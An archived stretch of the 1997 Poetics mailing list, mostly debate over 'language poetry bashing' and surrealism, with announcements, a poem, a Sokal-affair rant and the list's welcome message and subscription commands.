Mark, you're right, the silly antics often crowd out the direct treatment of the thing, the discussion. But I don't think the main point of either DB's or my recent posts on this subject was to trivialize it. Sometimes you have to read through the flippy parabolicness, but both of us, I think DB will agree regarding his own, were actually saying something in particular about the issue raised. Not trying to make a joke of it or dismiss anything. Mark Wallace's attempt to criticize the critics by referring obliquely to statements made or written elsewhere & muttering "language poetry bashing" is certainly just as parabolic an attempt to steer the conversation - or more so - as DB's or HG's. All power to him, it's certainly a phenomenon, I guess - & we have had this discussion before, about culprits (like that guy Blarnes) spouting "langpo" as a murky shorthand for unexplored "trends". But harping on poor little langpo & its meanies sort of avoids various antagonisms/questions. (probably with good reason - we don't need another mini culture war in the poetwy school swamp, thank you very much Mr. Blarnes). I was going to be quiet today, & I promise, poor blind poetics listers, to shut up for the next three days unless something really important comes up. - Henry Gould the evil keyboard squid

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54. David R. Israel
what the Buddha knows
Fri 3 Oct 1997

[was, Re: language poetry bashing]

quoth George Thompson:

> *And, as the Buddha knows, desire is not irreducible.*

incidentally, a friend connected w/ Shambhala tells me that the word on the street is, both Time & Newsweel magazines are planning big cover-stories about Buddhism -- that Time's should be out next week (and the editors there were trying to decide whether Brad Pitt or the Dalai Lama should appear on the cover); said friend also quoted someone to the effect that "when it's reported in Time & Newsweek, that means it [a movement] is over" albeit news of Buddhism's implied demise is likely exaggerated in the instance . . .

Come to think of it, my (newly printed) copy of *Seven Years in Tibet* claims (on the 1st page you open to -- what amounts to an eponymous movie advert): "The Adventure Begins October 8"

d.i.

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goes...). The few comments since have tended to be of the short and dissing kind. I agree that the LangPo bashing does seem to come from a typically US stance on schools and ideas as such. But to see LangPo merely as a blip on the radar screen of late twentieth century postmodernist politics is to miss exciting work, to wave away with both hands those still writing that way, and to miss still more possibilities. And I don't think that I have missed the point of David's post of yesterday with its, "there is no more language writing." It's nothing more than a name (and a general one at that which a few even extend to include all poetry). This has been a weak discussion of LangPo the movement, and not about "language writing." In that case, perhaps LangPo could be discussed in the context of postmodernism, and whether that exists any longer, or where the hell we are right now (oh no! Not another end-of-century discussion).

Since we are discussing movements and other poetic phenomena, I offer up as an example the French surrealists where the decidedly doctrinaire position of Breton helped that school to an early(?) demise, one that it would have nevertheless had even if not for his overbearing. Consider the surrealism bashing that we have seen over the last four decades in which "neo-surrealism" has been under attack. I don't know about any Oedipal longings (He is dead and gone, Lady), but what has happened appears more phoenix-like than anything else; the non-school of I can improve upon this work (action over and against the longings for originality, or "newness" never realized) referred to as received form by many. For me, the best surrealist writing has been seen after WWII in this country and in others. Just an example.

Best,

BB

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56. William Burmeister Prod

Re: language poetry bashing

Fri 3 Oct 1997

On Oct 3, 10:17am, henryg wrote:
> Subject: Re: language poetry bashing
> On Fri, 3 Oct 1997 09:13:19 -0400 Mark Prejsnar said:
> >
> >Very vague, but not bad. Blakean, in fact. In general I have great
> >respect for the work of Bromige, Gould and others on this list; sometimes
> >I wish I could filter 'em out though when the main point of their posts is
> >to trivialize and dismiss issues that are actually about poetix. Their
> >responses to Mark Wallaces small screed being a case in point.
>

> Mark, you're right, the silly antics often crowd out the
> direct treatment of the thing, the discussion. But I don't think the main
> point of either DB's or my recent posts on this subject was to
> trivialize it. Sometimes you have to read through the flippy parabolicness,
> but both of us, I think DB will agree regarding his own, were actually
> saying something in particular about the issue raised. Not trying
> to make a joke of it or dismiss anything. Mark Wallace's
> attempt to criticize the critics by referring obliquely to statements
> made or written elsewhere & muttering "language poetry bashing" is
> certainly just as parabolic an attempt to steer the conversation
> - or more so - as DB's or HG's. All power to him, it's certainly a
> phenomenon, I guess - & we have had this discussion before, about
> culprits (like that guy Blarnes) spouting "langpo" as a murky shorthand
> for unexplored "trends". But harping on poor little langpo & its
> meanies sort of avoids various antagonisms/questions. (probably with
> good reason - we don't need another mini culture war in the poetwy
> school swamp, thank you very much Mr. Blarnes). I was going to be
> quiet today, & I promise, poor blind poetics listers, to shut up
> for the next three days unless something really important comes up.
> - Henry Gould the evil keyboard squid
>-- End of excerpt from henryg

Sorry Henry, but didn't see this until after I sent my last (the one from thread escalation central you know). My mail server license has been on&off all morning. Did note the attempt to swerve in some of the latest posts on this bashing thing, antics notwithstanding.

Best (go back to sleep now Eric B.),

BB

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57. **Aldon Nielsen**

Re: no more language-bashing

Fri 3 Oct 1997

If David Bromige thinks we should let the mere matter of the non-existence of a phenomenon interfere with our bashing of same, he's got several more thinks coming. (Was, at it happens, just thinking of him.) Let me adduce here the final sentences of the entry on "nothing" in the Encyclopedia of Philosophy, where Peter heath remarks:

"If nothing whatsoever existed, there would be no problem and no answer, and the anxieties even of existential philosophers would be permanently laid to rest. Since they are not, there is evidently _nothing to worry about_. But that itself

should be enough to keep an existentialist happy. Unless the solution be, as some have suspected, that it is not nothing that has been worrying them, but they who have been worrying it."

and, after all, isn't disappearing from the world exactly the kind of thing a language writer would do to attract attention from those theory-ridden critics who would far rather write about a poetry they would never, could never, read?

Or as Mark wallace might put it, that never happened, and besides, I wasn't there.

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58. Michael Coffey
Re: language poetry bashing -Reply
Fri 3 Oct 1997

---

this is just a general musing on all that has gone on referenced to language poetry bashing...

it seems to me that this topic has brought to the surface a very recognizable reflex with respect to OUR poetry, a territorialness, a conviction that a certain kind of work, and the authors of that certain kind of work, which and who happen to represent the kind of poetics that [the correspondent] thinks is most worthwhile, are to be championed, and most decidedly at the expense of not only people and work that do not fit into the categories of OUR work, OUR writers, and but (even more dramatically) at the expense of critics who have not appropriately valued the work and workers of OUR poetry.

Now, I ask of us, what is at stake here? Is there some extra-poetical, extra-careerist, extra-ordinary value, social, political, personal, that can accrue in a world where the disposition toward OUR kind of poetry is different? To what extent is the world as constituted the way it is BECAUSE of the position of OUR kind of poetry? Is OUR world of poetry a world of love or of voters or of socialists or of healers or is it the world that we know?

What is being defended, and what attacked here? Again, what is at stake? It seems to me sometimes that we have imagined it all, imagined the enemy, imagined our purity, in order to give meaning to OUR activities. We have demonized those who have not gotten around to OUR kind of work or our kinds of poets (enuf with the upper case), or who have, but don't find it interesting or moving or to be throwing light on something they see as a tradition or a tradition of innovation.

I mean, so what? Sometimes, the list's constant trotting out of loyalty oaths reminds me of a marxist group i was once part of, wherein even the most informal

of communiques had to go out of their way to assert so-and-so's working-class parents or mill-town origins or farmhouse life.

I also mean: who is really threatening us? And who are we a threat to? It's just poetry and this list a group of people for the most part interested in poetry. And some see poetry as doing political work and some see it as doing psychological work and some as even social work. We have room for Creeley and Weiner and Palmer and Coolige and younger folks and men and women and people of "color," like there are people of "no color," and that's enough for me.

I think often we doth protest too much, hide behind arcane insults, micturate (I happen to like arcaneness) upon the "enemy" (ted hughes still steaming, wasn't wystan hughes wettted here, jorie graham), rather than talk on occasion about what it is that make Hannah's work work when it does, and what that means, or about lauterbach's new book, or jackson's 75th, etc.

I have this sense, as someone reading on the list most everyday and often too uncertain to reply, that the list is chockablock with people who are absolutely and elegantly in possession of their own moral/political/intellectual inviolability who are then (understandably) offended that bob dylan played for the Pope (and not them).

Or maybe the week has just been too long. But i wonder if anyone else out there senses what i sense and, although very interested in the list as a site of importance, is embarrassed by the frequent mutual valuations that go on, the partisan shots at the unrepresented, the desperate assertions of mattering.

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59. aerialedge

an attempt

Fri 3 Oct 1997

Discussing language poetry at times a bit like trying to discuss the middle east. Shit flies, nothing gets said. So-- an attempt to say something. First let's take a chance & say that language poetry does in fact exist. It is not merely, at this time, a historical phenomena but a set of possibilities -- a risk w/ a lot of nouns in the way. A friendly roadblock, a fortunate detour. I.e. & surprise surprise, it is not what it was. The "original practitioners" (geeze) have variously moved into, sometimes on to, new phases of their writing & otherwise lives but the reception of their work, understandably, is still characterized by misunderstanding relative to a volatile (& for many, desparate) emotional/political/intellectual climate. What the hell is he talking about?

Language poetry arose, mainly, on the heals of &/or in the midst of two conflicts: Vietnam & the New American Poetry (no, that's not an equation, dolt).

The media & events convinced everyone "the sixties had failed." Yes, it's becoming a story. Any case, to avoid reducing Grenier's "I Hate Speech" & other "seminal" critiques of previous poetries to an oedipal stance there was in the seventies what Tina Darragh has called "a turning to language." In other words, a search for a structural critique-- & they found it, in Structuralism, the Frankfurt School, & in Post-Structuralism-- all of which were effected by the sixties as well hmm. Bernstein's piece on Baudrillard's _The Mirror of Production_ an excellent exemplar. So I characterized the New American Poetry above as a conflict. The degree to which that is true wld be clear to anyone familiar w/ the truly varied approaches of those writers, & one can, without partaking of jargon, call these differences ideological. Any case, to fast fwd.-- what is lacking in ALL the language poetry bashing I've encountered is a successful attempt to recontextualize the possibilities still inherent in Spicer, Olson, O'Hara, etc. relative to language poetry-- one ground for this might be to question the equation Adorno & others make of humanism w/ fascism. Apollo/Dionysis w/out the clouds? What is at stake is an understanding of human nature right? At this point I don't think that's been acheived, period.

So some of the possibilities still inherent in newamerpo--1. An insistent & unsimplistic valuing of the individual, ala Ginsberg, or, very different, Cage-- warning, you have to be brilliant or you'll be really boring. 2. An understanding of self as performative rather than unified-- repeat above warning. Third, & perhaps most interesting to me, a demonstration of the ways in which language/ new american poetics are a continuum, each implying & partaking of the other.

None of these possibilities exclude another, & certainly there are more, just as there are more possibilities w/in the techniques that are more often identified w/ language poetry. In any case, whatever one does, no jury will come back on these questions any time soon, & actually, it's pretty unlikely one will be appointed.

--Rod Smith

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60. henry oh oh

Re: an attempt

Fri 3 Oct 1997

---

speaking humbly, remorsefully, mea culpably, & out of linedly (as one who really & truly on the night Bob Dylan played in Baloney for the Pope had a very intense dream I was in NY in a crowd listening to Bob Dylan as an old man playing Times they are a'changin & woke up to find Bob Dylan had not played for me but was on the cover of the Times Baloney section) -

to your point about the continuum between nudamurican & langpoo -

would you agree that one link between these kinds of poetry is a sort of autonomy or distancing - emphasized by what you say the performative or play aspect of it all - that there is a circle drawn around it, there is not going to be a simple realism - you are going to have to enjoy it for what it is & it's not going to help you with your life or solve the world's problems except as it is - for me this is reflected especially clearly in the "NY school" types - Teddy Bearigan & the St. Marks home away from home - whereas the langpoos were more interested in theory - but there is, as you say, this link, this stretch-of-paw, shall we say, between the Teddy Bears & the Lang Poohs -

& when we're all done telling Henry the history of the late past THEN we can MAYBE talk about current books - goodby all I set you free I'm returning to my igloo for the weekend - - Polar Chicken

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61. James Finnegan
Re: language poetry bashing
Fri 3 Oct 1997

In a message dated 97-10-03 13:10:50 EDT, you write:

> *For me, the best surrealist writing has been seen after WWII in this country and in others. Just an example.*

BB,

Who are thinking of? I know a number of poets who employ surrealist technique or have written, in varying ways, surrealist poems--but none come to mind who are solely surrealist.

Finnegan

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62. henry oh oh
Re: language poetry bashing
Fri 3 Oct 1997

On Fri, 3 Oct 1997 14:33:14 -0400 William Burmeister Prod said:
>
>Sorry Henry, but didn't see this until after I sent my last (the one from
>morning. Did note the attempt to swerve in some of the latest posts on this
>bashing thing, antics notwithstanding.
>
>Best (go back to sleep now Eric B.),
>
>BB

- take it from me, BB (Big Bear?) - NEVER apologize. Especially when you're right.
- Grand Poobah (Grand Poobahs never apologize & they're NEVER right!)

↑ Index

63. William Burmeister Prod

Re: language poetry bashing

Fri 3 Oct 1997

On Oct 3, 3:33pm, James Finnegan wrote:
> Subject: Re: language poetry bashing
> In a message dated 97-10-03 13:10:50 EDT, you write:
>
> >For me, the best surrealist writing has been seen after
> >WWII in this country and in others. Just an example.
>
> BB,
>
> Who are thinking of? I know a number of poets who employ
> surrealist technique or have written, in varying ways, surrealist
> poems--but none come to mind who are solely surrealist.
>
> Finnegan
>-- End of excerpt from James Finnegan

No, none come to my mind either (other than maybe Philip Lamantia in the 50s). I'm sure it is intentional that those who employ(-ed) surrealist technique did not wish to be considered Solely surrealist per se. Of course we all know of many who employ(-ed) technique such as Ashberry, Yau, J.Tate, Simic, Char, etc. In this context, I suspect "surrealist" is being used as label for a poet. I meant to label the writing itself as surrealist (shd. be surrealistic).

BB

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64. Aviva Vogel

Re: language poetry bashing

Fri 3 Oct 1997

Yes, Mark P. from Atlanta! I like that statement!

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65. **Aviva Vogel**
Re: Quote of the Day
Fri 3 Oct 1997

(He)-he-he! That's funny! (Ji') know what I mean? I(n) my language, that (i)s (an)awfully amusing story.

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66. **Aviva Vogel**
Re: language poetry bashing
Fri 3 Oct 1997

> *example the French surrealists where the decidedly doctrinaire position of Breton helped that school to an early(?) demise,*

I'd be curious to know what you know about his "doctrinaire" position; I don't have access to info right now, but am very interested.

>For me, the best surrealist writing has been seen after WWII in this country and in >others.

Which poets would you include as having written some of the best surrealist work?

Thanks, Aviva

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67. **Aviva Vogel**
Re: language poetry bashing -Reply
Fri 3 Oct 1997

Yes, partisanship is a bore...especially when no new information or alternatives are offerered in the presumptious rejections of that which is "not a part." I'd rather get into some real discussions about langpo, or someone's alternative proposals, on a concrete, illustrative level. Facile judgements really are a bore.

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68. **William Burmeister Prod**
Re: language poetry bashing
Fri 3 Oct 1997

On Oct 3, 6:21pm, Aviva Vogel wrote:
> Subject: Re: language poetry bashing
> > example the French surrealists where the decidedly doctrinaire position of
> > Breton helped that school to an early(?) demise,
>

> I'd be curious to know what you know about his "doctrinaire" position; I
> don't have access to info right now, but am very interested.
>
> >For me, the best surrealist writing has been seen after WWII in this
> country and in >others.
>
> Which poets would you include as having written some of the best surrealist
> work?
>
> Thanks, Aviva
>-- End of excerpt from Aviva Vogel

In order to do justice to your question, that would be a long reply! In short, Breton had little tolerance for what he considered eccentrics and others whose views differed from his (including political views). People like Robert Desnos, Antonin Artaud, Dali, Aragon, and that's just the beginning. I liked to read him, but had to come to grips with the intolerance of individualism I saw. Respect much of what he tried to do, rather than what he actually did. Doctrinaire the way I use it means school rules (my manifesto or the highway). Rene Char, who was one of the surrealists until '34, wrote interesting poetry and prose upto the eighties having the influence of surrealism. I have already posted before with the others who have been influenced, and that I like.

BB

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69. Herb Levy

Periplum CDs: Greinke/Land & Deep Listening Band/Ellen Fullman

Fri 3 Oct 1997

Hi folks,

I'll keep this short.

Periplum has released 2 CDs this year: one is the second release by Jeff Greinke & Land (Dennis Rea, Lesli Dalaba, Ed Pias, George Soler, Bill Moyer and Greg Gilmore), called Archipelago with eight group compositions & Suspended Music, a collaboration between the Deep Listening Band (Pauline Oliveros, Stuart Dempster, David Gamper) & Ellen Fullman & the Long String Instrument featuring both groups playing new compositions by Oliveros & Fullman.

I'm offering these to list members for US$14 including postage for either disc or US$26 including postage for both.

E-mail inquiries to <[redacted]>, checks/money orders to Periplum, POBox 95678, Seattle, WA 98145 USA.

Forthcoming releases, out in early 98, include a CD of interactive computer music pieces by Canadian composer Martin Bartlett & a series of songs for voice and piano by eleven US composers including John Luther Adams, Peter Garland, Robin Holcomb, David Mahler, Maggi Payne, Susan Stenger. Affter that a few surprises, including some things that may be particularly pertinent to this list.

Bests,

Herb

Herb Levy
[redacted]

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70. Alan Jen Sondheim
DEATH
Fri 3 Oct 1997

--+-

DEATH

JENNIFER LAY BACK BORN ON BIER JULU AND HAIR BORN BROWN BORN BLACK
CREST-TORN CLOTH COAT CLOTTING BLOOD BORNE JENNIFER
[TH]AES OFEREODE; [TH]ISSES SWA MAEG

IK GEHORTA [TH]AT SEGGEN

FUKUOKA IS A LOVELY CITY WITH WITH MANY SANDY BEACHES
CHILDREN ALL DAY PLAY IN SURF AND FROLIC
WHILE SMILING ADULTS WATCH FROM STRIPED CABANAS

JENNIFER SHORN LOCKS LOOKED JULU-LORE LOVE AND LANGUOR LOST
ON SEA-FOAM SHARED SONG SO HEARD DROWNED-DRAWN JENNIFER
[TH]AES OFEREODE; [TH]ISSES SWA MAEG

IK GEHORTA [TH]AT SEGGEN

I WILL COME AND PLAY IN FUKUOKA WITH ITS SANDY BEACHES
I WILL SING THE SONG OF THE CHILDREN RUNNING IN THE SURF
I WILL DRINK MEAD WITH MEN AND WOMEN IN FIERCE AND DARK CABANAS

JENNIFER DARK BURNING ASH-BORN JULU-RISEN SKY-BORN JENNIFER
THUNDER A PALE PEAKED DAWN DUSK DRAINED OF DREAR DOWN
DEATH [TH]AES OFEREODE; [TH]ISSES SWA MAEG

IK GEHORTA [TH]AT SEGGEN

DRUNK WITH SORROWS I EXPLODE UPON THE BEACHES OF FUKUOKA
DRUNK WITH LOVE I BURN WHITE UPON THE FUKUOKA SURF
I WILL DRINK AND DRAIN MEAD I WILL BEAR THE DARK CABANAS

[TH]AES OFEREODE; [TH]ISSES SWA MAEG
UPON THE BIER OF JENNIFER UPON THE JULU-BIER

_____ (that was overcome, so might this / i heard say)

_____

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71. **R. Gancie**
Sokal's Beard
Fri 3 Oct 1997

Dear Tom. I'm no cultural theorist. I came into these bad habits on my own. Some of my sources are unknown or of only marginal interest to social theorists. If you had read some of the sources I sight in my piece you would indeed see that the current scientific community demonstrates the qualities that you have catalogued with marvelous concision in your message. "Evil" is Musil's word, though I concur. Musil was a scientist. "Anal" refers to Logical Positivists who were philosophers not scientists. It is widely accepted that their project collapsed some years back yet the Strong Artificial Intelligence community has yet to get the message. Have you read John von Neumann's Self-Reproducing Automata? "Poetasters" just means scientists are people who have not dedicated themselves to the craft of poetry but avail themselves of the opportunity to wax poetic by virtue of the primacy of the sciences not because of any special poetic gift they possess or rigor applied. Popular books of science ARE often sloppy and even ridiculous. Remainder lists are littered with the crap. Read John Casti comparing Tosca to The Prisoners Dilemma Game. "Paternalistic?" Read Gross and Levitt's Higher Superstition.I challenge you to find a more condescending, smug and gratuitous book while making naked appeals to powerful economic and political interests with the sole motive of silencing a relatively powerless and somewhat misguided group of academics. My concern is not for cultural theorists. If I sound smug, Damn right. I give as good as I get. It was physicists themselves that raised the questions that cultural theorists have latched onto through several generations of discussion. Scientists as "Failures?" Go to a hundred and tenth and Broadway and take a deep breath. Its not so much that science has failed as that it has so thoroughly succeeded. What alternatives are left. Certainly, people like you and I have no real stake in the discourse. It is "hubris" to be told by the Grosses and Levitts that outside opinions

carry no weight in discussion on matters that effect us. We are allowed a civic consciousness on matters of science as long as it doesn't adversely effect the economic bonanza of science and technology. But we are forbidden philosophical opinions even when it is obvious that in matters that inevitably require epistemoligcal and hermeneutic tools, scientists have many well endowed forums yet no special knowledge or insights. Hence, Weinberg who knows nothing about the vast philosophical and epistemological grounding that his statements would require to make a modicum of sense is given space in the New York Review of Books on the basis of work largely irrelavant to the matters he discusses. What's embarrassing and dangerous about Weinberg's piece is that he seems to be unaware of this. I guess the Dynamite Prize will do that to you. Or that's a result of "hubris". "Adolescent, chauvinism, bigotry?" Let me quote from Barrow and Tipler's Anthropic Cosmological Principle. "...the arguments one hears today against considering intelligent computers to be persons and against giving them human rights have precise parallels in the nineteenth century arguments against giving blacks and women full human rights." Is this the domain of science or is it "false omniscience"? You think B. and T. might be in a little bit over their heads. And of course the authors provide no historical information to back up their statement. They get to shoot from the hip, care of Oxford University Press. I stand by my interpretation of Weinberg that you briefly address. My position in response to your comment would be similar to one Benjamin Whorf might provide. Alan Sokal has turned his original piece into a career with powerful interests supporting his efforts. And career moves are more profitable if they support the status quo rather than attack it. What's getting lost in the attack focused on the Deconstructionists are that concerns about the scientific method have been with us for a long time. A glance around my library indicates the depth and diversity of that concern. Bruno, Blake, Hegel, Husserl, Bohr, Clifford Still, Hansen, Horkheimer and Adorno, Wittgenstein, Pauli etc. etc. Long before I knew of Deconstructionists I became interested in the above material. Sokal shows no interest. Weinberg dismisses Heisenberg's "unfortunate" philosophical efforts. Weinberg should be so "unfortunate."---Carlo Parcelli

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72. **Poetics List**

Welcome Message

Fri 3 Oct 1997

Rev.10-1-97

Welcome to the Poetics List

&

The Electronic Poetry Center

sponsored by The Poetics Program, Department of English, Faculty of Art & Letters, of the State University of New York, Buffalo

Postal Address: 438 Clemens Hall, SUNY, Buffalo, NY 14260

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http://writing.upenn.edu/epc

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[This document was prepared by Charles Bernstein ([redacted]), Loss PequeñoGlazier ([redacted]), and Joel Kuszai ([redacted]).

Above the world-weary horizons
New obstacles for exchange arise
Or unfold, O ye postmasters!

1. About the Poetics List

The Poetics List was founded in late 1993 with the epigraph above.

There are presently about 500 subscribers.

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list relatively small and the volume manageable.

individual posts of participants are sent directly to all subscribers, we continue to work to promote the editorial function of this project. The definition of that project, while provisional, and while open to continual redefinition by list participants, is nonetheless aversive to a generalized discussion of poetry. Rather, our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible. We also encourage subscribers to post information on publications and reading series that they have coordinated, edited, published, or in which they appear (see section 9 below).

Please keep in mind that all posts go out immediately to all subscribers, and become part of an on-line archive. *<italic>Posting to Poetics is a form of publication, not personal communication</italic>.* Participants are asked to exercise caution before posting messages! While spontaneity of response may seem the very heart of the list at its best, it also has the darker side of circulating ideas that have not been well considered (or considered by another reader -- editor or friend). Given the nature of the medium, subscribers do well to maintain some skepticism when reading the list and, where possible, to try to avoid taking what may be something close to a spontaneous comment made in the heat of exchange as if it were a revised or edited essay ("Let the Reader Beware!").

The "list owner" of Poetics is Charles Bernstein. Joel Kuszai is list manager. For subscription information contact us at
[redacted].

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2. Subscriptions

Subscriptions to Poetics are free of charge. But we ask that you subscribe with your real name and we reserve the right to request additional information, including address and phone number. All subscription information you supply will remain confidential.

message, with no subject line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your

name to unsub)

We will be sent a notice of all subscription activity. Please allow several days for your new or re-subscription to take effect.

*

If you are having difficulty unsubscribing, please note:

Sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to send messages to mail. To avoid this, unsub from the old address and resub from the new address. If you can no longer do this there is a solution if you use Eudora (an e-mail program that is available free at shareware sites): from the Tools menu select "Options" and then select set-up for "Sending Mail": you may be able to substitute your old address here and send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increase from your system administrator. (You may wish to argue that this subscription is part of your scholarly communication!) You may also wish to consider obtaining a commercial account.

In general, if a Poetics message is bounced from your account, your subscription to Poetics will be temporarily suspended. If this happens, simply resubscribe to the list in the normal manner, once your account problem has been resolved.

All questions about subscriptions, whether about an individual subscription or subscription policy, should be addressed to the list's administrative address: [redacted]. Please note that it may take up to ten days, or more, for us to reply to messages.

---

3. Cautions

Please do not post to the list personal or backchannel correspondence, or other unpublished material, without the express permission of the author.

The Poetics List has a 50 message daily limit. If more than 50 messages are received, the listserver will automatically hold those additional messages until the list is manually unlocked, usually the following day. While it is difficult to prescribe a set limit on the number of daily, weekly, or monthly posts for any subscriber, please keep this limit in mind. If you plan to respond to multiple threads, it is generally preferable to consolidate your reply into one message. While relevant excerpts from a post to which you are responding may usefully

be appended to your reply, please do not include in your new post the whole text of a long previously posted message.

Please do not send attachments or include extremely long documents in a post, since this may make it difficult for those who get the list via "digest" or who cannot decode attached or specially formatted files.

In addition to being archived at the EPC, some posts to Poetics (especially reviews, obituary notices, announcements, etc.) may also become part of specific EPC subject areas. Brief reviews of poetry events and publications are always welcome. (See section 7.)

Please do not send inquiries to the list to get an individual subscribers address. To get this information, see section 6.

If you want someone to send out information to the list as a whole, or supply information missing from an post, or thank someone for posting something you requested, please send the request or comment to the individual backchannel, not to the whole list.

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4. Digest Option

The Listserve program gives you he option to receive all the posted Poetics message each day as a single message. If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option. Send this one-line message (no subject line) to

[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply

to this message!!

You can switch back to individual messages by sending this message:

set poetics mail

---

5. Temporarily turning off Poetics mail

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may lose not only Poetics messages but other important mail. You can temporarily turn off your Poetics subscription by sending a message to "[redacted]"

set poetics nomail

& turn it on again with: set poetics mail

When you return you can check or download missed postings from the Poetics archive. (See 8 below.)

---

6. Who's Subscribed

To see who is subscribed to Poetics, send an e-mail message to e-mail message blank. In the body of your e-mail message type:

review poetics

You will be sent within a reasonable amount of time (by return e-mail) a rather long list containing the names and e-mail addresses of Poetics subscribers. This list is alphabetized by server not name.

or try:

review POETICS by name

review POETICS by country

which will give you the list alphabetically by name or a flawed list by country (since all ".com" and ".net"s are counted as US)

Please do not send a message to the list asking for the address of a specific subscriber.

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7. What is the Electronic Poetry Center?

our URL is

http://writing.upenn.edu/epc

The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center provides access to the burgeoning number of electronic resources in the new poetries including RIF/T and other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets' reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequeño Glazier.

---

8. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the links to Poetics Archives. You may browse the archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

Or set your browser to go directly to:

http://writing.upenn.edu/epc/poetics/archive

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9. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible to our users and ENCOURAGE you to participate! Send a list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If yourword processor ill save files in Rich Text Format (.rtf) this is also highly desirable

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

Initially, you might want to send short anouncements of new publications directly to the Poetics list as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME

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73. Piombino/Simon
Re: language poetry bashing -Reply
Fri 3 Oct 1997

Allthough I haven't read all of the recent posts on "Language Bashing", Michael Coffey's amazingly interesting discussion of this tired warhorse of a topic happily made mention of the terrific Jackson Mac Low 75th Birthday Celebration which included good things to eat, including a huge birthday cake, and readings and performances by Jackson, Anne Tardos and many others, hosted by New York University. For those who could not be there be advised to quickly go out and console yourself and regale yourself with the premier issue of Crayon edited by Andrew Levy and Bob Harrison. The 304 page tome is packed with good writing honoring, discussing and celebrating Jackson's work, and also includes an excellently produced CD with terrific music by Jackson and Anne Tardos, Andy Levy, Jim Staley and many others. The mag contains a collaboration by Steve Benson and Jackson, poems by Charles Bernstein, Dan Farrell,Rod Smith, Martine Bellen, Joan Retallack, Jeff Derkson, Jena Osman,Beth Anderson,Rosemarie Waldrop and many others, a longish interview,an intelligent and useful discussion of Jackson's anarchism in relation to his poetics by Louis Cabri, a complete bibliography , a witty time-line biography of Jackson by David Bromige, a photo of Jackson taken by Allen Ginsberg, a complete discography,an interesting class presentation of Jackson's work by Ammiel Alcalay-from Jerusalem!- and much much more. It is lushly and conscientiously produced-in short, a steal at the modest price of $20. Write to Andy Levy at 144 Union Street, 2cd Floor, Brooklyn, N.Y 11231.

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74. Maria Damon
Re: Periplum CDs: Greinke/Land & Deep Listening Band/Ellen Fullman
Sat 4 Oct 1997

speaking of music and herb, i just came from a bracing klezmatics concert. what fun. they rocked the minneapolis audience, a lot of folkie hippies (cuz of the venue, a nonprofit "cultural center" that specializes in "world music"), some very young gay punkish kids, some recent russian jewish immigrants with big jewelry, some regular jewish folks (but not a lot cuz it was friday night) and lots of non jews. when one of the klezmorim asked how many folks spoke yiddish, i didn't see a single hand go up.

At 4:54 PM -0800 10/3/97, Herb Levy wrote:
>Hi folks,
>

>I'll keep this short.
>
>Periplum has released 2 CDs this year: one is the second release by Jeff
>Greinke & Land (Dennis Rea, Lesli Dalaba, Ed Pias, George Soler, Bill Moyer
>and Greg Gilmore), called Archipelago with eight group compositions &
>Suspended Music, a collaboration between the Deep Listening Band (Pauline
>Oliveros, Stuart Dempster, David Gamper) & Ellen Fullman & the Long String
>Instrument featuring both groups playing new compositions by Oliveros &
>Fullman.
>
>I'm offering these to list members for US$14 including postage for either
>disc or US$26 including postage for both.
>
>E-mail inquiries to <[redacted]>, checks/money orders to Periplum,
>POBox 95678, Seattle, WA 98145 USA.
>
>Forthcoming releases, out in early 98, include a CD of interactive computer
>music pieces by Canadian composer Martin Bartlett & a series of songs for
>voice and piano by eleven US composers including John Luther Adams, Peter
>Garland, Robin Holcomb, David Mahler, Maggi Payne, Susan Stenger. Affter
>that a few surprises, including some things that may be particularly
>pertinent to this list.
>
>Bests,
>
>Herb
>
>
>Herb Levy
>[redacted]

↑ Index

75. Karen and Trevor

Request for Phone Numbers

Sat 4 Oct 1997

Can anyone backchannel the following phone numbers or e-mail address?
Gustaf Sobin
Sianne Ngai

This is regarding publication and not any personal use. Thanks in advance.

Karen McKevitt
[redacted]

↑ Index

76. jarnot
delany/phone number
Sat 4 Oct 1997

---

i'm trying to get in touch with samuel delany. i have his number in new york. i need his number in massachusetts. please back channel. thanks. lisa jarnot

[redacted]
box 185/NY, NY 10009

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77. LAURA MORIARTY
another attempt
Sat 4 Oct 1997

